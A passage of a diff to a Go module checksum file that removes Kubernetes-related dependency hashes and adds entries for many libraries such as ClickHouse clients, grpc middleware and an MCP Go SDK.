h1:O7MUmCqcKSd5xI+O5X7/pRkB5l0O2NIhOdUVwbHLXu4= -k8s.io/client-go v0.35.3 h1:s1lZbpN4uI6IxeTM2cpdtrwHcSOBML1ODNTCCfsP1pg= -k8s.io/client-go v0.35.3/go.mod h1:RzoXkc0mzpWIDvBrRnD+VlfXP+lRzqQjCmKtiwZ8Q9c= -k8s.io/code-generator v0.35.3 h1:NDGCLkEm6Ho65wTdSe2EgErmmtsrezOPwwOchlNc6FQ= -k8s.io/code-generator v0.35.3/go.mod h1:LAVriRGXQusHQ0Ns64SE1ublSswm1KrK7cXn0GuQETg= -k8s.io/component-base v0.35.3 h1:mbKbzoIMy7JDWS/wqZobYW1JDVRn/RKRaoMQHP9c4P0= -k8s.io/component-base v0.35.3/go.mod h1:IZ8LEG30kPN4Et5NeC7vjNv5aU73ku5MS15iZyvyMYk= -k8s.io/gengo/v2 v2.0.0-20250922181213-ec3ebc5fd46b h1:gMplByicHV/TJBizHd9aVEsTYoJBnnUAT5MHlTkbjhQ= -k8s.io/gengo/v2 v2.0.0-20250922181213-ec3ebc5fd46b/go.mod h1:CgujABENc3KuTrcsdpGmrrASjtQsWCT7R99mEV4U/fM= -k8s.io/klog/v2 v2.130.1 h1:n9Xl7H1Xvksem4KFG4PYbdQCQxqc/tTUyrgXaOhHSzk= -k8s.io/klog/v2 v2.130.1/go.mod h1:3Jpz1GvMt720eyJH1ckRHK1EDfpxISzJ7I9OYgaDtPE= -k8s.io/kms v0.35.3 h1:jaxr/7dNqcztGldnfCEZg8DegEOnHV6cfoBC2ACMWEg= -k8s.io/kms v0.35.3/go.mod h1:VT+4ekZAdrZDMgShK37vvlyHUVhwI9t/9tvh0AyCWmQ= -k8s.io/kube-openapi v0.0.0-20260319004828-5883c5ee87b9 h1:Sztf7ESG9tAXRW/ACJZjrj5jhdOUqS2KFRQT+CTvu78= -k8s.io/kube-openapi v0.0.0-20260319004828-5883c5ee87b9/go.mod h1:uGBT7iTA6c6MvqUvSXIaYZo9ukscABYi2btjhvgKGZ0= -k8s.io/kube-openapi v0.0.0-20260330154417-16be699c7b31 h1:V+sn9a/1fEYDGwnllCmqXBk8x7obZ+hl869Q3Abumkg= -k8s.io/kube-openapi v0.0.0-20260330154417-16be699c7b31/go.mod h1:uGBT7iTA6c6MvqUvSXIaYZo9ukscABYi2btjhvgKGZ0= -k8s.io/kubectl v0.35.3 h1:1KqSYXk/sodU7VeDvK6atX2kAGUZd2QTeR5K7Hb9r9w= -k8s.io/kubectl v0.35.3/go.mod h1:GPHxZqRe+u/i3gTBoVQHeIyq2NilfNPj9hDWeuN3x5s= -k8s.io/utils v0.0.0-20260319190234-28399d86e0b5 h1:kBawHLSnx/mYHmRnNUf9d4CpjREbeZuxoSGOX/J+aYM= -k8s.io/utils v0.0.0-20260319190234-28399d86e0b5/go.mod h1:xDxuJ0whA3d0I4mf/C4ppKHxXynQ+fxnkmQH0vTHnuk= -sigs.k8s.io/apiserver-network-proxy/konnectivity-client v0.31.2 h1:jpcvIRr3GLoUoEKRkHKSmGjxb6lWwrBlJsXc+eUYQHM= -sigs.k8s.io/apiserver-network-proxy/konnectivity-client v0.31.2/go.mod h1:Ve9uj1L+deCXFrPOk1LpFXqTg7LCFzFso6PA48q/XZw= -sigs.k8s.io/controller-runtime v0.23.3 h1:VjB/vhoPoA9l1kEKZHBMnQF33tdCLQKJtydy4iqwZ80= -sigs.k8s.io/controller-runtime v0.23.3/go.mod h1:B6COOxKptp+YaUT5q4l6LqUJTRpizbgf9KSRNdQGns0= -sigs.k8s.io/controller-tools v0.20.1 h1:gkfMt9YodI0K85oT8rVi80NTXO/kDmabKR5Ajn5GYxs= -sigs.k8s.io/controller-tools v0.20.1/go.mod h1:b4qPmjGU3iZwqn34alUU5tILhNa9+VXK+J3QV0fT/uU= -sigs.k8s.io/json v0.0.0-20250730193827-2d320260d730 h1:IpInykpT6ceI+QxKBbEflcR5EXP7sU1kvOlxwZh5txg= -sigs.k8s.io/json v0.0.0-20250730193827-2d320260d730/go.mod h1:mdzfpAEoE6DHQEN0uh9ZbOCuHbLK5wOm7dK4ctXE9Tg= -sigs.k8s.io/kustomize/api v0.20.1 h1:iWP1Ydh3/lmldBnH/S5RXgT98vWYMaTUL1ADcr+Sv7I= -sigs.k8s.io/kustomize/api v0.20.1/go.mod h1:t6hUFxO+Ph0VxIk1sKp1WS0dOjbPCtLJ4p8aADLwqjM= -sigs.k8s.io/kustomize/kyaml v0.20.1 h1:PCMnA2mrVbRP3NIB6v9kYCAc38uvFLVs8j/CD567A78= -sigs.k8s.io/kustomize/kyaml v0.20.1/go.mod h1:0EmkQHRUsJxY8Ug9Niig1pUMSCGHxQ5RklbpV/Ri6po= -sigs.k8s.io/randfill v1.0.0 h1:JfjMILfT8A6RbawdsK2JXGBR5AQVfd+9TbzrlneTyrU= -sigs.k8s.io/randfill v1.0.0/go.mod h1:XeLlZ/jmk4i1HRopwe7/aU3H5n1zNUcX6TM94b3QxOY= -sigs.k8s.io/structured-merge-diff/v6 v6.3.2 h1:kwVWMx5yS1CrnFWA/2QHyRVJ8jM6dBA80uLmm0wJkk8= -sigs.k8s.io/structured-merge-diff/v6 v6.3.2/go.mod h1:M3W8sfWvn2HhQDIbGWj3S099YozAsymCo/wrT5ohRUE= -sigs.k8s.io/yaml v1.6.0 h1:G8fkbMSAFqgEFgh4b1wmtzDnioxFCUgTZhlbj5P9QYs= -sigs.k8s.io/yaml v1.6.0/go.mod h1:796bPqUfzR/0jLAl6XjHl3Ck7MiyVv8dbTdyT3/pMf4= +cel.dev/expr v0.25.1 h1:1KrZg61W6TWSxuNZ37Xy49ps13NUovb66QLprthtwi4= +cel.dev/expr v0.25.1/go.mod h1:hrXvqGP6G6gyx8UAHSHJ5RGk//1Oj5nXQ2NI02Nrsg4= +github.com/Azure/go-ansiterm v0.0.0-20230124172434-306776ec8161 h1:L/gRVlceqvL25UVaW/CKtUDjefjrs0SPonmDGUVOYP0= +github.com/Azure/go-ansiterm v0.0.0-20230124172434-306776ec8161/go.mod h1:xomTg63KZ2rFqZQzSB4Vz2SUXa1BpHTVz9L5PTmPC4E= +github.com/ClickHouse/ch-go v0.69.0 h1:nO0OJkpxOlN/eaXFj0KzjTz5p7vwP1/y3GN4qc5z/iM= +github.com/ClickHouse/ch-go v0.69.0/go.mod h1:9XeZpSAT4S0kVjOpaJ5186b7PY/NH/hhF8R6u0WIjwg= +github.com/ClickHouse/ch-go v0.71.0 h1:bUdZ/EZj/LcVHsMqaRUP2holqygrPWQKeMjc6nZoyRM= +github.com/ClickHouse/ch-go v0.71.0/go.mod h1:NwbNc+7jaqfY58dmdDUbG4Jl22vThgx1cYjBw0vtgXw= +github.com/ClickHouse/clickhouse-go/v2 v2.42.0 h1:MdujEfIrpXesQUH0k0AnuVtJQXk6RZmxEhsKUCcv5xk= +github.com/ClickHouse/clickhouse-go/v2 v2.42.0/go.mod h1:riWnuo4YMVdajYll0q6FzRBomdyCrXyFY3VXeXczA8s= +github.com/ClickHouse/clickhouse-go/v2 v2.43.0 h1:fUR05TrF1GyvLDa/mAQjkx7KbgwdLRffs2n9O3WobtE= +github.com/ClickHouse/clickhouse-go/v2 v2.43.0/go.mod h1:o6jf7JM/zveWC/PP277BLxjHy5KjnGX/jfljhM4s34g= +github.com/MakeNowJust/heredoc v1.0.0 h1:cXCdzVdstXyiTqTvfqk9SDHpKNjxuom+DOlyEeQ4pzQ= +github.com/MakeNowJust/heredoc v1.0.0/go.mod h1:mG5amYoWBHf8vpLOuehzbGGw0EHxpZZ6lCpQ4fNJ8LE= +github.com/Masterminds/semver/v3 v3.4.0 h1:Zog+i5UMtVoCU8oKka5P7i9q9HgrJeGzI9SA1Xbatp0= +github.com/Masterminds/semver/v3 v3.4.0/go.mod h1:4V+yj/TJE1HU9XfppCwVMZq3I84lprf4nC11bSS5beM= +github.com/NYTimes/gziphandler v1.1.1 h1:ZUDjpQae29j0ryrS0u/B8HZfJBtBQHjqw2rQ2cqUQ3I= +github.com/NYTimes/gziphandler v1.1.1/go.mod h1:n/CVRwUEOgIxrgPvAQhUUr9oeUtvrhMomdKFjzJNB0c= +github.com/andybalholm/brotli v1.2.0 h1:ukwgCxwYrmACq68yiUqwIWnGY0cTPox/M94sVwToPjQ= +github.com/andybalholm/brotli v1.2.0/go.mod h1:rzTDkvFWvIrjDXZHkuS16NPggd91W3kUSvPlQ1pLaKY= +github.com/antlr4-go/antlr/v4 v4.13.0 h1:lxCg3LAv+EUK6t1i0y1V6/SLeUi0eKEKdhQAlS8TVTI= +github.com/antlr4-go/antlr/v4 v4.13.0/go.mod h1:pfChB/xh/Unjila75QW7+VU4TSnWnnk9UTnmpPaOR2g= +github.com/antlr4-go/antlr/v4 v4.13.1 h1:SqQKkuVZ+zWkMMNkjy5FZe5mr5WURWnlpmOuzYWrPrQ= +github.com/antlr4-go/antlr/v4 v4.13.1/go.mod h1:GKmUxMtwp6ZgGwZSva4eWPC5mS6vUAmOABFgjdkM7Nw= +github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= +github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= +github.com/blang/semver/v4 v4.0.0 h1:1PFHFE6yCCTv8C1TeyNNarDzntLi7wMI5i/pzqYIsAM= +github.com/blang/semver/v4 v4.0.0/go.mod h1:IbckMUScFkM3pff0VJDNKRiT6TG/YpiHIM2yvyW5YoQ= +github.com/cenkalti/backoff/v4 v4.3.0 h1:MyRJ/UdXutAwSAT+s3wNd7MfTIcy71VQueUuFK343L8= +github.com/cenkalti/backoff/v4 v4.3.0/go.mod h1:Y3VNntkOUPxTVeUxJ/G5vcM//AlwfmyYozVcomhLiZE= +github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs= +github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= +github.com/chai2010/gettext-go v1.0.2 h1:1Lwwip6Q2QGsAdl/ZKPCwTe9fe0CjlUbqj5bFNSjIRk= +github.com/chai2010/gettext-go v1.0.2/go.mod h1:y+wnP2cHYaVj19NZhYKAwEMH2CI1gNHeQQ+5AjwawxA= +github.com/coreos/go-semver v0.3.1 h1:yi21YpKnrx1gt5R+la8n5WgS0kCrsPp33dmEyHReZr4= +github.com/coreos/go-semver v0.3.1/go.mod h1:irMmmIw/7yzSRPWryHsK7EYSg09caPQL03VsM8rvUec= +github.com/coreos/go-systemd/v22 v22.5.0 h1:RrqgGjYQKalulkV8NGVIfkXQf6YYmOyiJKk8iXXhfZs= +github.com/coreos/go-systemd/v22 v22.5.0/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc= +github.com/cpuguy83/go-md2man/v2 v2.0.6/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g= +github.com/creack/pty v1.1.18 h1:n56/Zwd5o6whRC5PMGretI4IdRLlmBXYNjScPaBgsbY= +github.com/creack/pty v1.1.18/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM= +github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY= +github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto= +github.com/emicklei/go-restful/v3 v3.12.2 h1:DhwDP0vY3k8ZzE0RunuJy8GhNpPL6zqLkDf9B/a0/xU= +github.com/emicklei/go-restful/v3 v3.12.2/go.mod h1:6n3XBCmQQb25CM2LCACGz8ukIrRry+4bhvbpWn3mrbc= +github.com/evanphx/json-patch v0.5.2 h1:xVCHIVMUu1wtM/VkR9jVZ45N3FhZfYMMYGorLCR8P3k= +github.com/evanphx/json-patch v0.5.2/go.mod h1:ZWS5hhDbVDyob71nXKNL0+PWn6ToqBHMikGIFbs31qQ= +github.com/evanphx/json-patch/v5 v5.9.11 h1:/8HVnzMq13/3x9TPvjG08wUGqBTmZBsCWzjTM0wiaDU= +github.com/evanphx/json-patch/v5 v5.9.11/go.mod h1:3j+LviiESTElxA4p3EMKAB9HXj3/XEtnUf6OZxqIQTM= +github.com/exponent-io/jsonpath v0.0.0-20210407135951-1de76d718b3f h1:Wl78ApPPB2Wvf/TIe2xdyJxTlb6obmF18d8QdkxNDu4= +github.com/exponent-io/jsonpath v0.0.0-20210407135951-1de76d718b3f/go.mod h1:OSYXu++VVOHnXeitef/D8n/6y4QV8uLHSFXX4NeXMGc= +github.com/fatih/color v1.18.0 h1:S8gINlzdQ840/4pfAwic/ZE0djQEH3wM94VfqLTZcOM= +github.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/6HfU= +github.com/felixge/httpsnoop v1.0.4 h1:NFTV2Zj1bL4mc9sqWACXbQFVBBg2W3GPvqp8/ESS2Wg= +github.com/felixge/httpsnoop v1.0.4/go.mod h1:m8KPJKqk1gH5J9DgRY2ASl2lWCfGKXixSwevea8zH2U= +github.com/fsnotify/fsnotify v1.9.0 h1:2Ml+OJNzbYCTzsxtv8vKSFD9PbJjmhYF14k/jKC7S9k= +github.com/fsnotify/fsnotify v1.9.0/go.mod h1:8jBTzvmWwFyi3Pb8djgCCO5IBqzKJ/Jwo8TRcHyHii0= +github.com/fxamacker/cbor/v2 v2.9.0 h1:NpKPmjDBgUfBms6tr6JZkTHtfFGcMKsw3eGcmD/sapM= +github.com/fxamacker/cbor/v2 v2.9.0/go.mod h1:vM4b+DJCtHn+zz7h3FFp/hDAI9WNWCsZj23V5ytsSxQ= +github.com/go-errors/errors v1.4.2 h1:J6MZopCL4uSllY1OfXM374weqZFFItUbrImctkmUxIA= +github.com/go-errors/errors v1.4.2/go.mod h1:sIVyrIiJhuEF+Pj9Ebtd6P/rEYROXFi3BopGUQ5a5Og= +github.com/go-faster/city v1.0.1 h1:4WAxSZ3V2Ws4QRDrscLEDcibJY8uf41H6AhXDrNDcGw= +github.com/go-faster/city v1.0.1/go.mod h1:jKcUJId49qdW3L1qKHH/3wPeUstCVpVSXTM6vO3VcTw= +github.com/go-faster/errors v0.7.1 h1:MkJTnDoEdi9pDabt1dpWf7AA8/BaSYZqibYyhZ20AYg= +github.com/go-faster/errors v0.7.1/go.mod h1:5ySTjWFiphBs07IKuiL69nxdfd5+fzh1u7FPGZP2quo= +github.com/go-logr/logr v1.2.2/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A= +github.com/go-logr/logr v1.4.3 h1:CjnDlHq8ikf6E492q6eKboGOC0T8CDaOvkHCIg8idEI= +github.com/go-logr/logr v1.4.3/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY= +github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag= +github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE= +github.com/go-logr/zapr v1.3.0 h1:XGdV8XW8zdwFiwOA2Dryh1gj2KRQyOOoNmBy4EplIcQ= +github.com/go-logr/zapr v1.3.0/go.mod h1:YKepepNBd1u/oyhd/yQmtjVXmm9uML4IXUgMOwR8/Gg= +github.com/go-openapi/jsonpointer v0.22.1 h1:sHYI1He3b9NqJ4wXLoJDKmUmHkWy/L7rtEo92JUxBNk= +github.com/go-openapi/jsonpointer v0.22.1/go.mod h1:pQT9OsLkfz1yWoMgYFy4x3U5GY5nUlsOn1qSBH5MkCM= +github.com/go-openapi/jsonreference v0.21.3 h1:96Dn+MRPa0nYAR8DR1E03SblB5FJvh7W6krPI0Z7qMc= +github.com/go-openapi/jsonreference v0.21.3/go.mod h1:RqkUP0MrLf37HqxZxrIAtTWW4ZJIK1VzduhXYBEeGc4= +github.com/go-openapi/swag v0.23.0 h1:vsEVJDUo2hPJ2tu0/Xc+4noaxyEffXNIs3cOULZ+GrE= +github.com/go-openapi/swag v0.23.0/go.mod h1:esZ8ITTYEsH1V2trKHjAN8Ai7xHb8RV+YSZ577vPjgQ= +github.com/go-openapi/swag/jsonname v0.25.1 h1:Sgx+qbwa4ej6AomWC6pEfXrA6uP2RkaNjA9BR8a1RJU= +github.com/go-openapi/swag/jsonname v0.25.1/go.mod h1:71Tekow6UOLBD3wS7XhdT98g5J5GR13NOTQ9/6Q11Zo= +github.com/go-openapi/testify/v2 v2.0.2 h1:X999g3jeLcoY8qctY/c/Z8iBHTbwLz7R2WXd6Ub6wls= +github.com/go-openapi/testify/v2 v2.0.2/go.mod h1:HCPmvFFnheKK2BuwSA0TbbdxJ3I16pjwMkYkP4Ywn54= +github.com/go-task/slim-sprig/v3 v3.0.0 h1:sUs3vkvUymDpBKi3qH1YSqBQk9+9D/8M2mN1vB6EwHI= +github.com/go-task/slim-sprig/v3 v3.0.0/go.mod h1:W848ghGpv3Qj3dhTPRyJypKRiqCdHZiAzKg9hl15HA8= +github.com/gobuffalo/flect v1.0.3 h1:xeWBM2nui+qnVvNM4S3foBhCAL2XgPU+a7FdpelbTq4= +github.com/gobuffalo/flect v1.0.3/go.mod h1:A5msMlrHtLqh9umBSnvabjsMrCcCpAyzglnDvkbYKHs= +github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= +github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q= +github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= +github.com/golang-jwt/jwt/v5 v5.3.0 h1:pv4AsKCKKZuqlgs5sUmn4x8UlGa0kEVt/puTpKx9vvo= +github.com/golang-jwt/jwt/v5 v5.3.0/go.mod h1:fxCRLWMO43lRc8nhHWY6LGqRcf+1gQWArsqaEUEa5bE= +github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= +github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek= +github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps= +github.com/golang/snappy v0.0.1/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= +github.com/google/btree v1.1.3 h1:CVpQJjYgC4VbzxeGVHfvZrv1ctoYCAI8vbl07Fcxlyg= +github.com/google/btree v1.1.3/go.mod h1:qOPhT0dTNdNzV6Z/lhRX0YXUafgPLFUh+gZMl761Gm4= +github.com/google/cel-go v0.26.0 h1:DPGjXackMpJWH680oGY4lZhYjIameYmR+/6RBdDGmaI= +github.com/google/cel-go v0.26.0/go.mod h1:A9O8OU9rdvrK5MQyrqfIxo1a0u4g3sF8KB6PUIaryMM= +github.com/google/cel-go v0.27.0 h1:e7ih85+4qVrBuqQWTW4FKSqZYokVuc3HnhH5keboFTo= +github.com/google/cel-go v0.27.0/go.mod h1:tTJ11FWqnhw5KKpnWpvW9CJC3Y9GK4EIS0WXnBbebzw= +github.com/google/gnostic-models v0.7.0 h1:qwTtogB15McXDaNqTZdzPJRHvaVJlAl+HVQnLmJEJxo= +github.com/google/gnostic-models v0.7.0/go.mod h1:whL5G0m6dmc5cPxKc5bdKdEN3UjI7OUGxBlw57miDrQ= +github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= +github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= +github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= +github.com/google/gofuzz v1.2.0 h1:xRy4A+RhZaiKjJ1bPfwQ8sedCA+YS2YcCHW6ec7JMi0= +github.com/google/gofuzz v1.2.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= +github.com/google/jsonschema-go v0.4.2 h1:tmrUohrwoLZZS/P3x7ex0WAVknEkBZM46iALbcqoRA8= +github.com/google/jsonschema-go v0.4.2/go.mod h1:r5quNTdLOYEz95Ru18zA0ydNbBuYoo9tgaYcxEYhJVE= +github.com/google/pprof v0.0.0-20250403155104-27863c87afa6 h1:BHT72Gu3keYf3ZEu2J0b1vyeLSOYI8bm5wbJM/8yDe8= +github.com/google/pprof v0.0.0-20250403155104-27863c87afa6/go.mod h1:boTsfXsheKC2y+lKOCMpSfarhxDeIzfZG1jqGcPl3cA= +github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= +github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/gorilla/websocket v1.5.4-0.20250319132907-e064f32e3674 h1:JeSE6pjso5THxAzdVpqr6/geYxZytqFMBCOtn/ujyeo= +github.com/gorilla/websocket v1.5.4-0.20250319132907-e064f32e3674/go.mod h1:r4w70xmWCQKmi1ONH4KIaBptdivuRPyosB9RmPlGEwA= +github.com/gregjones/httpcache v0.0.0-20190611155906-901d90724c79 h1:+ngKgrYPPJrOjhax5N+uePQ0Fh1Z7PheYoUI/0nzkPA= +github.com/gregjones/httpcache v0.0.0-20190611155906-901d90724c79/go.mod h1:FecbI9+v66THATjSRHfNgh1IVFe/9kFxbXtjV0ctIMA= +github.com/grpc-ecosystem/go-grpc-middleware/providers/prometheus v1.0.1 h1:qnpSQwGEnkcRpTqNOIR6bJbR0gAorgP9CSALpRcKoAA= +github.com/grpc-ecosystem/go-grpc-middleware/providers/prometheus v1.0.1/go.mod h1:lXGCsh6c22WGtjr+qGHj1otzZpV/1kwTMAqkwZsnWRU= +github.com/grpc-ecosystem/go-grpc-middleware/v2 v2.3.0 h1:FbSCl+KggFl+Ocym490i/EyXF4lPgLoUtcSWquBM0Rs= +github.com/grpc-ecosystem/go-grpc-middleware/v2 v2.3.0/go.mod h1:qOchhhIlmRcqk/O9uCo/puJlyo07YINaIqdZfZG3Jkc= +github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0 h1:Ovs26xHkKqVztRpIrF/92BcuyuQ/YW4NSIpoGtfXNho= +github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgfV/d3M/q6VIi02HzZEHgUlZvzk= +github.com/grpc-ecosystem/grpc-gateway/v2 v2.27.3 h1:NmZ1PKzSTQbuGHw9DGPFomqkkLWMC+vZCkfs+FHv1Vg= +github.com/grpc-ecosystem/grpc-gateway/v2 v2.27.3/go.mod h1:zQrxl1YP88HQlA6i9c63DSVPFklWpGX4OWAc9bFuaH4= +github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= +github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= +github.com/jonboulle/clockwork v0.5.0 h1:Hyh9A8u51kptdkR+cqRpT1EebBwTn1oK9YfGYbdFz6I= +github.com/jonboulle/clockwork v0.5.0/go.mod h1:3mZlmanh0g2NDKO5TWZVJAfofYk64M7XN3SzBPjZF60= +github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY= +github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y= +github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= +github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= +github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= +github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= +github.com/klauspost/compress v1.13.6/go.mod h1:/3/Vjq9QcHkK5uEr5lBEmyoZ1iFhe47etQ6QUkpK6sk= +github.com/klauspost/compress v1.18.2 h1:iiPHWW0YrcFgpBYhsA6D1+fqHssJscY/Tm/y2Uqnapk= +github.com/klauspost/compress v1.18.2/go.mod h1:R0h/fSBs8DE4ENlcrlib3PsXS61voFxhIs2DeRhCvJ4= +github.com/klauspost/compress v1.18.3 h1:9PJRvfbmTabkOX8moIpXPbMMbYN60bWImDDU7L+/6zw= +github.com/klauspost/compress v1.18.3/go.mod h1:R0h/fSBs8DE4ENlcrlib3PsXS61voFxhIs2DeRhCvJ4= +github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= +github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= +github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= +github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= +github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= +github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= +github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= +github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc= +github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw= +github.com/liggitt/tabwriter v0.0.0-20181228230101-89fcab3d43de h1:9TO3cAIGXtEhnIaL+V+BEER86oLrvS+kWobKpbJuye0= +github.com/liggitt/tabwriter v0.0.0-20181228230101-89fcab3d43de/go.mod h1:zAbeS9B/r2mtpb6U+EI2rYA5OAXxsYw6wTamcNW+zcE= +github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0= +github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc= +github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= +github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= +github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= +github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= +github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= +github.com/mitchellh/go-wordwrap v1.0.1 h1:TLuKupo69TCn6TQSyGxwI1EblZZEsQ0vMlAFQflz0v0= +github.com/mitchellh/go-wordwrap v1.0.1/go.mod h1:R62XHJLzvMFRBbcrT7m7WgmE1eOyTSsCt+hzestvNj0= +github.com/moby/term v0.5.0 h1:xt8Q1nalod/v7BqbG21f8mQPqH+xAaC9C3N3wfWbVP0= +github.com/moby/term v0.5.0/go.mod h1:8FzsFHVUBGZdbDsJw/ot+X+d5HLUbvklYLJ9uGfcI3Y= +github.com/modelcontextprotocol/go-sdk v1.4.1 h1:M4x9GyIPj+HoIlHNGpK2hq5o3BFhC+78PkEaldQRphc= +github.com/modelcontextprotocol/go-sdk v1.4.1/go.mod h1:Bo/mS87hPQqHSRkMv4dQq1XCu6zv4INdXnFZabkNU6s= +github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= +github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd 